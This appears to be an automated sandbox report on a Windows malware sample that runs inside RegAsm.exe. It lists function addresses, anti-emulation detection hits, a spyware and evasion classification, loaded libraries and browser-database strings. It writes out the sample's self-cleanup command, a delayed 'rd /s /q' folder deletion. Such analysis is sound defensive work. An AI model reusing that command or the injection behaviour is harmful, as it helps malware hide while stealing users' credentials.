Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C73542B	3_2_6C73542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6CD4E0	3_2_6C6CD4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6D64C0	3_2_6C6D64C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6ED4D0	3_2_6C6ED4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7234A0	3_2_6C7234A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C72C4A0	3_2_6C72C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6F0512	3_2_6C6F0512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7285F0	3_2_6C7285F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6CC670	3_2_6C6CC670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6E4640	3_2_6C6E4640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C715600	3_2_6C715600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7376E3	3_2_6C7376E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C72E680	3_2_6C72E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C707710	3_2_6C707710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7177A0	3_2_6C7177A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C70F070	3_2_6C70F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6EC0E0	3_2_6C6EC0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7350C7	3_2_6C7350C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6F60A0	3_2_6C6F60A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C73B170	3_2_6C73B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C705190	3_2_6C705190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C70E2F0	3_2_6C70E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6C22A0	3_2_6C6C22A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6DC370	3_2_6C6DC370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6C5340	3_2_6C6C5340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C70D320	3_2_6C70D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7353C8	3_2_6C7353C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6CF380	3_2_6C6CF380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C77AC60	3_2_6C77AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C836C00	3_2_6C836C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7CECD0	3_2_6C7CECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C84AC30	3_2_6C84AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C76ECC0	3_2_6C76ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C806D90	3_2_6C806D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C8FCDC0	3_2_6C8FCDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C8F8D20	3_2_6C8F8D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C774DB0	3_2_6C774DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C89AD50	3_2_6C89AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C83ED70	3_2_6C83ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C810EC0	3_2_6C810EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C850E20	3_2_6C850E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C77AEC0	3_2_6C77AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7F6E90	3_2_6C7F6E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C80EE70	3_2_6C80EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C8B8FB0	3_2_6C8B8FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7DEF40	3_2_6C7DEF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C776F10	3_2_6C776F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C84EFF0	3_2_6C84EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C770FE0	3_2_6C770FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C8B0F20	3_2_6C8B0F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C77EFB0	3_2_6C77EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C832F70	3_2_6C832F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7C0820	3_2_6C7C0820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7FA820	3_2_6C7FA820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C8768E0	3_2_6C8768E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C844840	3_2_6C844840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7A8960	3_2_6C7A8960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C8009A0	3_2_6C8009A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C82A9A0	3_2_6C82A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C8309B0	3_2_6C8309B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C88C9E0	3_2_6C88C9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7C6900	3_2_6C7C6900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7A49F0	3_2_6C7A49F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7ECA70	3_2_6C7ECA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C81EA00	3_2_6C81EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C828A30	3_2_6C828A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7EEA80	3_2_6C7EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C810BA0	3_2_6C810BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C876BE0	3_2_6C876BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C778BAC	3_2_6C778BAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C89A480	3_2_6C89A480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C788460	3_2_6C788460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7FA430	3_2_6C7FA430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C80A4D0	3_2_6C80A4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7D4420	3_2_6C7D4420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7B64D0	3_2_6C7B64D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7D2560	3_2_6C7D2560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7C8540	3_2_6C7C8540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C83A5E0	3_2_6C83A5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7FE5F0	3_2_6C7FE5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7645B0	3_2_6C7645B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C874540	3_2_6C874540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C8B8550	3_2_6C8B8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C810570	3_2_6C810570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7CC650	3_2_6C7CC650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C80E6E0	3_2_6C80E6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7CE6E0	3_2_6C7CE6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7946D0	3_2_6C7946D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7F0700	3_2_6C7F0700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C79A7D0	3_2_6C79A7D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7BE070	3_2_6C7BE070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C84C0B0	3_2_6C84C0B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C83C000	3_2_6C83C000

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 006E7D60 appears 53 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C793620 appears 44 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C8F09D0 appears 173 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C799B10 appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004024D7 appears 312 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C7094D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C8FDAE0 appears 41 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004180A8 appears 104 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C8FD930 appears 33 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C6FCBE8 appears 134 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.file.exe.70aac0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 0.2.file.exe.70aac0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 0.2.file.exe.6e0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@11/25@1/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_6C727030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

3_2_6C727030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004111BE _EH_prolog,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

3_2_004111BE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004106C4 _EH_prolog,CoCreateInstance,SysAllocString,_wtoi64,SysFreeString,SysFreeString,

3_2_004106C4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199686524322[1].htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6860:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3412:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

Command line argument: .o

0_2_006FE980

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1002\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000003.00000002.2043950908.0000000019258000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2047601334.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, RegAsm.exe, 00000003.00000002.2040755834.00000000132E9000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, sqlx[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000003.00000002.2043950908.0000000019258000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2047601334.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, RegAsm.exe, 00000003.00000002.2040755834.00000000132E9000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, sqlx[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000003.00000002.2043950908.0000000019258000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2047601334.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, RegAsm.exe, 00000003.00000002.2040755834.00000000132E9000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, sqlx[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000003.00000002.2043950908.0000000019258000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2047601334.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, RegAsm.exe, 00000003.00000002.2040755834.00000000132E9000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, sqlx[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: RegAsm.exe, 00000003.00000002.2043950908.0000000019258000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2040755834.00000000132E9000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.3.dr	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: RegAsm.exe, 00000003.00000002.2043950908.0000000019258000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2040755834.00000000132E9000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.3.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.2043950908.0000000019258000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2047601334.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, RegAsm.exe, 00000003.00000002.2040755834.00000000132E9000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, sqlx[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000003.00000002.2043950908.0000000019258000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2047601334.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, RegAsm.exe, 00000003.00000002.2040755834.00000000132E9000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, sqlx[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: RegAsm.exe, 00000003.00000002.2043950908.0000000019258000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2040755834.00000000132E9000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.3.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: RegAsm.exe, 00000003.00000002.2043950908.0000000019258000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2040755834.00000000132E9000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.3.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000003.00000002.2043950908.0000000019258000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2040755834.00000000132E9000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.3.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\GHIJJEGDBFII" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\GHIJJEGDBFII" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
